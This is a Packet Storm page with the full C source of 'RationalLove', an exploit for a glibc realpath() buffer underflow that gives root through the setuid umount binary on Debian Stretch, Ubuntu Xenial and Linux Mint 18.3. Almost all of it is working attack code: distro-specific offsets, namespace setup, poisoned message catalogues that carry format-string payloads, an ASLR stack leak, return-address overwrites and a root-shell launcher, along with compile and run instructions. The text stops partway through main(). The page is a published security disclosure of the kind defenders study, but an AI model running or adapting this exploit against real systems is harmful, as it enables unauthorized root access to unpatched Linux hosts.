Lucene search

K
packetstormHalfdogPACKETSTORM:145970
HistoryJan 18, 2018 - 12:00 a.m.

glibc getcwd() Local Privilege Escalation

2018-01-1800:00:00
halfdog
packetstormsecurity.com
107

0.004 Low

EPSS

Percentile

69.6%

`/** This software is provided by the copyright owner "as is" and any  
* expressed or implied warranties, including, but not limited to,  
* the implied warranties of merchantability and fitness for a particular  
* purpose are disclaimed. In no event shall the copyright owner be  
* liable for any direct, indirect, incidential, special, exemplary or  
* consequential damages, including, but not limited to, procurement  
* of substitute goods or services, loss of use, data or profits or  
* business interruption, however caused and on any theory of liability,  
* whether in contract, strict liability, or tort, including negligence  
* or otherwise, arising in any way out of the use of this software,  
* even if advised of the possibility of such damage.  
*  
* Copyright (c) 2018 halfdog <me (%) halfdog.net>  
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.  
*  
* This tool exploits a buffer underflow in glibc realpath()  
* and was tested against latest release from Debian, Ubuntu  
* Mint. It is intended as demonstration of ASLR-aware exploitation  
* techniques. It uses relative binary offsets, that may be different  
* for various Linux distributions and builds. Please send me  
* a patch when you developed a new set of parameters to add  
* to the osSpecificExploitDataList structure and want to contribute  
* them.  
*  
* Compile: gcc -o RationalLove RationalLove.c  
* Run: ./RationalLove  
*  
* You may also use "--Pid" parameter, if you want to test the  
* program on already existing namespaced or chrooted mounts.  
*/  
  
#define _GNU_SOURCE  
#include <assert.h>  
#include <errno.h>  
#include <fcntl.h>  
#include <limits.h>  
#include <poll.h>  
#include <sched.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/mount.h>  
#include <sys/stat.h>  
#include <sys/wait.h>  
#include <time.h>  
#include <unistd.h>  
  
  
#define UMOUNT_ENV_VAR_COUNT 256  
  
/** Dump that number of bytes from stack to perform anti-ASLR.  
* This number should be high enough to reproducible reach the  
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of  
* environment variable references but low enough to avoid hitting  
* upper stack limit, which would cause a crash.  
*/  
#define STACK_LONG_DUMP_BYTES 4096  
  
char *messageCataloguePreamble="Language: en\n"  
"MIME-Version: 1.0\n"  
"Content-Type: text/plain; charset=UTF-8\n"  
"Content-Transfer-Encoding: 8bit\n";  
  
/** The pid of a namespace process with the working directory  
* at a writable /tmp only visible by the process. */  
pid_t namespacedProcessPid=-1;  
  
int killNamespacedProcessFlag=1;  
  
/** The pathname to the umount binary to execute. */  
char *umountPathname;  
  
/** The pathname to the named pipe, that will synchronize umount  
* binary with supervisory process before triggering the second  
* and last exploitation phase.  
*/  
char *secondPhaseTriggerPipePathname;  
  
/** The pathname to the second phase exploitation catalogue file.  
* This is needed as the catalogue cannot be sent via the trigger  
* pipe from above.  
*/  
char *secondPhaseCataloguePathname;  
  
/** The OS-release detected via /etc/os-release. */  
char *osRelease=NULL;  
  
/** This table contains all relevant information to adapt the  
* attack to supported Linux distros (fully updated) to support  
* also older versions, hash of umount/libc/libmount should be  
* used also for lookups.  
* The 4th string is an array of 4-byte integers with the offset  
* values for format string generation. Values specify:  
* * Stack position (in 8 byte words) for **argv  
* * Stack position of argv[0]  
* * Offset from __libc_start_main return position from main()  
* and system() function, first instruction after last sigprocmask()  
* before execve call.  
*/  
#define ED_STACK_OFFSET_CTX 0  
#define ED_STACK_OFFSET_ARGV 1  
#define ED_STACK_OFFSET_ARG0 2  
#define ED_LIBC_GETDATE_DELTA 3  
#define ED_LIBC_EXECL_DELTA 4  
static char* osSpecificExploitDataList[]={  
// Debian Stretch  
"\"9 (stretch)\"",  
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",  
"from_archive",  
// Delta for Debian Stretch "2.24-11+deb9u1"  
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",  
// Ubuntu Xenial libc=2.23-0ubuntu9  
"\"16.04.3 LTS (Xenial Xerus)\"",  
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",  
"_nl_load_locale_from_archive",  
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",  
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"  
"\"18.3 (Sylvia)\"",  
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",  
"_nl_load_locale_from_archive",  
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",  
NULL};  
  
char **osReleaseExploitData=NULL;  
  
/** Locate the umount binary within the given search path list,  
* elements separated by colons.  
* @return a pointer to a malloced memory region containing the  
* string or NULL if not found.  
*/  
char* findUmountBinaryPathname(char *searchPath) {  
char *testPathName=(char*)malloc(PATH_MAX);  
assert(testPathName);  
  
while(*searchPath) {  
char *endPtr=strchr(searchPath, ':');  
int length=endPtr-searchPath;  
if(!endPtr) {  
length=strlen(searchPath);  
endPtr=searchPath+length-1;  
}  
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,  
searchPath, "umount");  
if(result>=PATH_MAX) {  
fprintf(stderr, "Binary search path element too long, ignoring it.\n");  
} else {  
struct stat statBuf;  
result=stat(testPathName, &statBuf);  
// Just assume, that umount is owner-executable. There might be  
// alternative ACLs, which grant umount execution only to selected  
// groups, but it would be unusual to have different variants  
// of umount located searchpath on the same host.  
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {  
return(testPathName);  
}  
}  
searchPath=endPtr+1;  
}  
  
free(testPathName);  
return(NULL);  
}  
  
  
/** Get the value for a given field name.  
* @return NULL if not found, a malloced string otherwise.  
*/  
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {  
int nameLength=strlen(fieldName);  
while(dataLength>0) {  
char *nextPos=memchr(releaseData, '\n', dataLength);  
int lineLength=dataLength;  
if(nextPos) {  
lineLength=nextPos-releaseData;  
nextPos++;  
} else {  
nextPos=releaseData+dataLength;  
}  
if((!strncmp(releaseData, fieldName, nameLength))&&  
(releaseData[nameLength]=='=')) {  
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));  
}  
releaseData=nextPos;  
dataLength-=lineLength;  
}  
return(NULL);  
}  
  
  
/** Detect the release by reading the VERSION field from /etc/os-release.  
* @return 0 on success.  
*/  
int detectOsRelease() {  
int handle=open("/etc/os-release", O_RDONLY);  
if(handle<0)  
return(-1);  
  
char *buffer=alloca(1024);  
int infoLength=read(handle, buffer, 1024);  
close(handle);  
if(infoLength<0)  
return(-1);  
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");  
if(!osRelease)  
osRelease=getReleaseFileField(buffer, infoLength, "NAME");  
if(osRelease) {  
fprintf(stderr, "Detected OS version: %s\n", osRelease);  
return(0);  
}  
  
return(-1);  
}  
  
  
/** Create the catalogue data in memory.  
* @return a pointer to newly allocated catalogue data memory  
*/  
char* createMessageCatalogueData(char **origStringList, char **transStringList,  
int stringCount, int *catalogueDataLength) {  
int contentLength=strlen(messageCataloguePreamble)+2;  
for(int stringPos=0; stringPos<stringCount; stringPos++) {  
contentLength+=strlen(origStringList[stringPos])+  
strlen(transStringList[stringPos])+2;  
}  
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;  
char *catalogueData=(char*)malloc(preambleLength+contentLength);  
memset(catalogueData, 0, preambleLength);  
int *preambleData=(int*)catalogueData;  
*preambleData++=0x950412de;  
preambleData++;  
*preambleData++=stringCount+1;  
*preambleData++=0x1c;  
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;  
*preambleData++=0x5;  
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;  
  
char *nextCatalogueStringStart=catalogueData+preambleLength;  
for(int stringPos=-1; stringPos<stringCount; stringPos++) {  
char *writeString=(stringPos<0)?"":origStringList[stringPos];  
int length=strlen(writeString);  
*preambleData++=length;  
*preambleData++=(nextCatalogueStringStart-catalogueData);  
memcpy(nextCatalogueStringStart, writeString, length+1);  
nextCatalogueStringStart+=length+1;  
}  
for(int stringPos=-1; stringPos<stringCount; stringPos++) {  
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];  
int length=strlen(writeString);  
*preambleData++=length;  
*preambleData++=(nextCatalogueStringStart-catalogueData);  
memcpy(nextCatalogueStringStart, writeString, length+1);  
nextCatalogueStringStart+=length+1;  
}  
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);  
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {  
// *preambleData++=(stringPos+1);  
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];  
}  
*catalogueDataLength=preambleLength+contentLength;  
return(catalogueData);  
}  
  
  
/** Create the catalogue data from the string lists and write  
* it to the given file.  
* @return 0 on success.  
*/  
int writeMessageCatalogue(char *pathName, char **origStringList,  
char **transStringList, int stringCount) {  
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);  
if(catalogueFd<0) {  
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",  
pathName);  
return(-1);  
}  
int catalogueDataLength;  
char *catalogueData=createMessageCatalogueData(  
origStringList, transStringList, stringCount, &catalogueDataLength);  
int result=write(catalogueFd, catalogueData, catalogueDataLength);  
assert(result==catalogueDataLength);  
close(catalogueFd);  
free(catalogueData);  
return(0);  
}  
  
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {  
char pathBuffer[PATH_MAX];  
int pathNameLength=0;  
while(1) {  
char *nextPathSep=strchr(pathName+pathNameLength, '/');  
if(nextPathSep) {  
pathNameLength=nextPathSep-pathName;  
} else {  
pathNameLength=strlen(pathName);  
}  
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",  
namespaceMountBaseDir, pathNameLength, pathName);  
assert(result<PATH_MAX);  
result=mkdir(pathBuffer, 0755);  
assert((!result)||(errno==EEXIST));  
if(!pathName[pathNameLength])  
break;  
pathNameLength++;  
}  
}  
  
  
/** This child function prepares the namespaced mount point and  
* then waits to be killed later on.  
*/  
static int usernsChildFunction() {  
while(geteuid()!=0) {  
sched_yield();  
}  
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);  
assert(!result);  
assert(!chdir("/tmp"));  
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);  
assert(handle>=0);  
close(handle);  
sleep(100000);  
}  
  
/** Prepare a process living in an own mount namespace and setup  
* the mount structure appropriately. The process is created  
* in a way allowing cleanup at program end by just killing it,  
* thus removing the namespace.  
* @return the pid of that process or -1 on error.  
*/  
pid_t prepareNamespacedProcess() {  
if(namespacedProcessPid==-1) {  
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");  
  
char *stackData=(char*)malloc(1<<20);  
assert(stackData);  
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),  
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);  
if(namespacedProcessPid==-1) {  
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));  
return(-1);  
}  
  
char idMapFileName[128];  
char idMapData[128];  
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);  
int setGroupsFd=open(idMapFileName, O_WRONLY);  
assert(setGroupsFd>=0);  
int result=write(setGroupsFd, "deny", 4);  
assert(result>0);  
close(setGroupsFd);  
  
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);  
int uidMapFd=open(idMapFileName, O_WRONLY);  
assert(uidMapFd>=0);  
sprintf(idMapData, "0 %d 1\n", getuid());  
result=write(uidMapFd, idMapData, strlen(idMapData));  
assert(result>0);  
close(uidMapFd);  
  
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);  
int gidMapFd=open(idMapFileName, O_WRONLY);  
assert(gidMapFd>=0);  
sprintf(idMapData, "0 %d 1\n", getgid());  
result=write(gidMapFd, idMapData, strlen(idMapData));  
assert(result>0);  
close(gidMapFd);  
  
// After setting the maps for the child process, the child may  
// start setting up the mount point. Wait for that to complete.  
sleep(1);  
fprintf(stderr, "Namespaced filesystem created with pid %d\n",  
namespacedProcessPid);  
}  
  
osReleaseExploitData=osSpecificExploitDataList;  
if(osRelease) {  
// If an OS was detected, try to find it in list. Otherwise use  
// default.  
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {  
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {  
osReleaseExploitData=osSpecificExploitDataList+tPos;  
break;  
}  
}  
}  
  
char pathBuffer[PATH_MAX];  
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",  
namespacedProcessPid);  
assert(result<PATH_MAX);  
char *namespaceMountBaseDir=strdup(pathBuffer);  
assert(namespaceMountBaseDir);  
  
// Create directories needed for umount to proceed to final state  
// "not mounted".  
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");  
result=snprintf(pathBuffer, sizeof(pathBuffer),  
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);  
assert(result<PATH_MAX);  
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);  
result=snprintf(pathBuffer, sizeof(pathBuffer),  
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);  
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);  
result=snprintf(pathBuffer, sizeof(pathBuffer),  
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);  
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);  
  
// Create symlink to trigger underflows.  
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",  
namespaceMountBaseDir);  
assert(result<PATH_MAX);  
result=symlink(osReleaseExploitData[1], pathBuffer);  
assert(!result||(errno==EEXIST));  
  
// getdate will leave that string in rdi to become the filename  
// to execute for the next round.  
char *selfPathName=realpath("/proc/self/exe", NULL);  
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",  
namespaceMountBaseDir);  
assert(result<PATH_MAX);  
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);  
assert(handle>0);  
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",  
selfPathName);  
assert(result<PATH_MAX);  
result=write(handle, pathBuffer, result);  
close(handle);  
free(selfPathName);  
  
// Write the initial message catalogue to trigger stack dumping  
// and to make the "umount" call privileged by toggling the "restricted"  
// flag in the context.  
result=snprintf(pathBuffer, sizeof(pathBuffer),  
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",  
namespaceMountBaseDir, osReleaseExploitData[2]);  
assert(result<PATH_MAX);  
  
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));  
assert(stackDumpStr);  
char *stackDumpStrEnd=stackDumpStr;  
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",  
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);  
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {  
memcpy(stackDumpStrEnd, "%016lx", 6);  
stackDumpStrEnd+=6;  
}  
// We wrote allready 8 bytes, write so many more to produce a  
// count of 'L' and write that to the stack. As all writes so  
// sum up to a count aligned by 8, and 'L'==0x4c, we will have  
// to write at least 4 bytes, which is longer than any "%hhx"  
// format string output. Hence do not care about the byte content  
// here. The target write address has a 16 byte alignment due  
// to varg structure.  
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",  
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,  
STACK_LONG_DUMP_BYTES/16);  
*stackDumpStrEnd=0;  
result=writeMessageCatalogue(pathBuffer,  
(char*[]){  
"%s: mountpoint not found",  
"%s: not mounted",  
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"  
},  
(char*[]){"1234", stackDumpStr, "5678"},  
3);  
assert(!result);  
free(stackDumpStr);  
  
result=snprintf(pathBuffer, sizeof(pathBuffer),  
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",  
namespaceMountBaseDir, osReleaseExploitData[2]);  
assert(result<PATH_MAX);  
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);  
assert((!result)||(errno==EEXIST));  
secondPhaseTriggerPipePathname=strdup(pathBuffer);  
  
result=snprintf(pathBuffer, sizeof(pathBuffer),  
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",  
namespaceMountBaseDir, osReleaseExploitData[2]);  
secondPhaseCataloguePathname=strdup(pathBuffer);  
  
free(namespaceMountBaseDir);  
return(namespacedProcessPid);  
}  
  
  
  
/** Create the format string to write an arbitrary value to the  
* stack. The created format string avoids to interfere with  
* the complex fprintf format handling logic by accessing fprintf  
* internal state on stack. Thus the modification method does  
* not depend on that ftp internals. The current libc fprintf  
* implementation copies values for formatting before applying  
* the %n writes, therefore pointers changed by fprintf operation  
* can only be utilized with the next fprintf invocation. As  
* we cannot rely on a stack having a suitable number of pointers  
* ready for arbitrary writes, we need to create those pointers  
* one by one. Everything needed is pointer on stack pointing  
* to another valid pointer and 4 helper pointers pointing to  
* writeable memory. The **argv list matches all those requirements.  
* @param printfArgvValuePos the position of the argv pointer from  
* printf format string view.  
* @param argvStackAddress the address of the argv list, where  
* the argv[0] pointer can be read.  
* @param printfArg0ValuePos the position of argv list containing  
* argv[0..n] pointers.  
* @param mainFunctionReturnAddress the address on stack where  
* the return address from the main() function to _libc_start()  
* is stored.  
* @param writeValue the value to write to mainFunctionReturnAddress  
*/  
void createStackWriteFormatString(  
char *formatBuffer, int bufferSize, int printfArgvValuePos,  
void *argvStackAddress, int printfArg0ValuePos,  
void *mainFunctionReturnAddress, unsigned short *writeData,  
int writeDataLength) {  
int result=0;  
int currentValue=-1;  
for(int nextWriteValue=0; nextWriteValue<0x10000;) {  
// Find the lowest value to write.  
nextWriteValue=0x10000;  
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {  
int value=writeData[valuePos];  
if((value>currentValue)&&(value<nextWriteValue))  
nextWriteValue=value;  
}  
if(currentValue<0)  
currentValue=0;  
if(currentValue!=nextWriteValue) {  
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",  
nextWriteValue-currentValue);  
formatBuffer+=result;  
bufferSize-=result;  
currentValue=nextWriteValue;  
}  
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {  
if(writeData[valuePos]==nextWriteValue) {  
result=snprintf(formatBuffer, bufferSize,  
"%%%d$hn", printfArg0ValuePos+valuePos+1);  
formatBuffer+=result;  
bufferSize-=result;  
}  
}  
}  
  
// Print the return function address location number of bytes  
// except 8 (those from the LABEL counter) and write the value  
// to arg1.  
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;  
result=snprintf(formatBuffer, bufferSize,  
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",  
writeCount, writeCount, printfArg0ValuePos);  
formatBuffer+=result;  
bufferSize-=result;  
  
// Write the LABEL 6 more times, thus multiplying the the single  
// byte write pointer to an 8-byte aligned argv-list pointer and  
// update argv[0] to point to argv[1..n].  
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;  
result=snprintf(formatBuffer, bufferSize,  
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",  
writeCount, writeCount, printfArgvValuePos);  
formatBuffer+=result;  
bufferSize-=result;  
  
// Append a debugging preamble.  
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",  
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,  
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,  
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);  
formatBuffer+=result;  
bufferSize-=result;  
}  
  
  
/** Wait for the trigger pipe to open. The pipe will be closed  
* immediately after opening it.  
* @return 0 when the pipe was opened before hitting a timeout.  
*/  
int waitForTriggerPipeOpen(char *pipeName) {  
struct timespec startTime, currentTime;  
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);  
startTime.tv_sec+=10;  
assert(!result);  
while(1) {  
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);  
if(pipeFd>=0) {  
close(pipeFd);  
break;  
}  
result=clock_gettime(CLOCK_MONOTONIC, &currentTime);  
if(currentTime.tv_sec>startTime.tv_sec) {  
return(-1);  
}  
currentTime.tv_sec=0;  
currentTime.tv_nsec=100000000;  
nanosleep(&currentTime, NULL);  
}  
return(0);  
}  
  
  
/** Invoke umount to gain root privileges.  
* @return 0 if the umount process terminated with expected exit  
* status.  
*/  
int attemptEscalation() {  
int escalationSuccess=-1;  
  
char targetCwd[64];  
snprintf(  
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);  
  
int pipeFds[2];  
int result=pipe(pipeFds);  
assert(!result);  
  
pid_t childPid=fork();  
assert(childPid>=0);  
if(!childPid) {  
// This is the child process.  
close(pipeFds[0]);  
fprintf(stderr, "Starting subprocess\n");  
dup2(pipeFds[1], 1);  
dup2(pipeFds[1], 2);  
close(pipeFds[1]);  
result=chdir(targetCwd);  
assert(!result);  
  
// Create so many environment variables for a kind of "stack spraying".  
int envCount=UMOUNT_ENV_VAR_COUNT;  
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));  
assert(umountEnv);  
umountEnv[envCount--]=NULL;  
umountEnv[envCount--]="LC_ALL=C.UTF-8";  
while(envCount>=0) {  
umountEnv[envCount--]="AANGUAGE=X.X";  
}  
// Use the built-in C locale.  
// Invoke umount first by overwriting heap downwards using links  
// for "down", then retriggering another error message ("busy")  
// with hopefully similar same stack layout for other path "/".  
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};  
result=execve(umountArgs[0], umountArgs, umountEnv);  
assert(!result);  
}  
close(pipeFds[1]);  
int childStdout=pipeFds[0];  
  
int escalationPhase=0;  
char readBuffer[1024];  
int readDataLength=0;  
char stackData[STACK_LONG_DUMP_BYTES];  
int stackDataBytes=0;  
  
struct pollfd pollFdList[1];  
pollFdList[0].fd=childStdout;  
pollFdList[0].events=POLLIN;  
  
// Now learn about the binary, prepare data for second exploitation  
// phase. The phases should be:  
// * 0: umount executes, glibc underflows and causes an util-linux.mo  
// file to be read, that contains a poisonous format string.  
// Successful poisoning results in writing of 8*'A' preamble,  
// we are looking for to indicate end of this phase.  
// * 1: The poisoned process writes out stack content to defeat  
// ASLR. Reading all relevant stack end this phase.  
// * 2: The poisoned process changes the "LANGUAGE" parameter,  
// thus triggering re-read of util-linux.mo. To avoid races,  
// we let umount open a named pipe, thus blocking execution.  
// As soon as the pipe is ready for writing, we write a modified  
// version of util-linux.mo to another file because the pipe  
// cannot be used for sending the content.  
// * 3: We read umount output to avoid blocking the process and  
// wait for it to ROP execute fchown/fchmod and exit.  
while(1) {  
if(escalationPhase==2) {  
// We cannot use the standard poll from below to monitor the pipe,  
// but also we do not want to block forever. Wait for the pipe  
// in nonblocking mode and then continue with next phase.  
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);  
if(result) {  
goto attemptEscalationCleanup;  
}  
escalationPhase++;  
}  
  
// Wait at most 10 seconds for IO.  
result=poll(pollFdList, 1, 10000);  
if(!result) {  
// We ran into a timeout. This might be the result of a deadlocked  
// child, so kill the child and retry.  
fprintf(stderr, "Poll timed out\n");  
goto attemptEscalationCleanup;  
}  
// Perform the IO operations without blocking.  
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {  
result=read(  
pollFdList[0].fd, readBuffer+readDataLength,  
sizeof(readBuffer)-readDataLength);  
if(!result) {  
if(escalationPhase<3) {  
// Child has closed the socket unexpectedly.  
goto attemptEscalationCleanup;  
}  
break;  
}  
if(result<0) {  
fprintf(stderr, "IO error talking to child\n");  
goto attemptEscalationCleanup;  
}  
readDataLength+=result;  
  
// Handle the data depending on escalation phase.  
int moveLength=0;  
switch(escalationPhase) {  
case 0: // Initial sync: read A*8 preamble.  
if(readDataLength<8)  
continue;  
char *preambleStart=memmem(readBuffer, readDataLength,  
"AAAAAAAA", 8);  
if(!preambleStart) {  
// No preamble, move content only if buffer is full.  
if(readDataLength==sizeof(readBuffer))  
moveLength=readDataLength-7;  
break;  
}  
// We found, what we are looking for. Start reading the stack.  
escalationPhase++;  
moveLength=preambleStart-readBuffer+8;  
case 1: // Read the stack.  
// Consume stack data until or local array is full.  
while(moveLength+16<=readDataLength) {  
result=sscanf(readBuffer+moveLength, "%016lx",  
(int*)(stackData+stackDataBytes));  
if(result!=1) {  
// Scanning failed, the data injection procedure apparently did  
// not work, so this escalation failed.  
goto attemptEscalationCleanup;  
}  
moveLength+=sizeof(long)*2;  
stackDataBytes+=sizeof(long);  
// See if we reached end of stack dump already.  
if(stackDataBytes==sizeof(stackData))  
break;  
}  
if(stackDataBytes!=sizeof(stackData))  
break;  
  
// All data read, use it to prepare the content for the next phase.  
fprintf(stderr, "Stack content received, calculating next phase\n");  
  
int *exploitOffsets=(int*)osReleaseExploitData[3];  
  
// This is the address, where source Pointer is pointing to.  
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];  
// This is the stack address source for the target pointer.  
void *sourcePointerLocation=sourcePointerTarget-0xd0;  
  
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];  
// This is the stack address of the libc start function return  
// pointer.  
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;  
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",  
sourcePointerLocation, sourcePointerTarget,  
targetPointerTarget, libcStartFunctionReturnAddressSource);  
// So the libcStartFunctionReturnAddressSource is the lowest address  
// to manipulate, targetPointerTarget+...  
  
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];  
void *stackWriteData[]={  
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],  
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]  
};  
fprintf(stderr, "Changing return address from %p to %p, %p\n",  
libcStartFunctionAddress, stackWriteData[0],  
stackWriteData[1]);  
escalationPhase++;  
  
char *escalationString=(char*)malloc(1024);  
createStackWriteFormatString(  
escalationString, 1024,  
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf  
sourcePointerTarget, // Base value to write  
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...  
libcStartFunctionReturnAddressSource,  
(unsigned short*)stackWriteData,  
sizeof(stackWriteData)/sizeof(unsigned short)  
);  
fprintf(stderr, "Using escalation string %s", escalationString);  
  
result=writeMessageCatalogue(  
secondPhaseCataloguePathname,  
(char*[]){  
"%s: mountpoint not found",  
"%s: not mounted",  
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"  
},  
(char*[]){  
escalationString,  
"BBBB5678%3$s\n",  
"BBBBABCD%s\n"},  
3);  
assert(!result);  
break;  
case 2:  
case 3:  
// Wait for pipe connection and output any result from mount.  
readDataLength=0;  
break;  
default:  
fprintf(stderr, "Logic error, state %d\n", escalationPhase);  
goto attemptEscalationCleanup;  
}  
if(moveLength) {  
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);  
readDataLength-=moveLength;  
}  
}  
}  
  
attemptEscalationCleanup:  
// Wait some time to avoid killing umount even when exploit was  
// successful.  
sleep(1);  
close(childStdout);  
// It is safe to kill the child as we did not wait for it to finish  
// yet, so at least the zombie process is still here.  
kill(childPid, SIGKILL);  
pid_t waitedPid=waitpid(childPid, NULL, 0);  
assert(waitedPid==childPid);  
  
return(escalationSuccess);  
}  
  
  
/** This function invokes the shell specified via environment  
* or the default shell "/bin/sh" when undefined. The function  
* does not return on success.  
* @return -1 on error  
*/  
int invokeShell(char *shellName) {  
if(!shellName)  
shellName=getenv("SHELL");  
if(!shellName)  
shellName="/bin/sh";  
char* shellArgs[]={shellName, NULL};  
execve(shellName, shellArgs, environ);  
fprintf(stderr, "Failed to launch shell %s\n", shellName);  
return(-1);  
}  
  
int main(int argc, char **argv) {  
char *programmName=argv[0];  
int exitStatus=1;  
  
if(getuid()==0) {  
fprintf(stderr, "%s: you are already root, invoking shell ...\n",  
programmName);  
invokeShell(NULL);  
return(1);  
}  
  
if(geteuid()==0) {  
struct stat statBuf;  
int result=stat("/proc/self/exe", &statBuf);  
assert(!result);  
if(statBuf.st_uid||statBuf.st_gid) {  
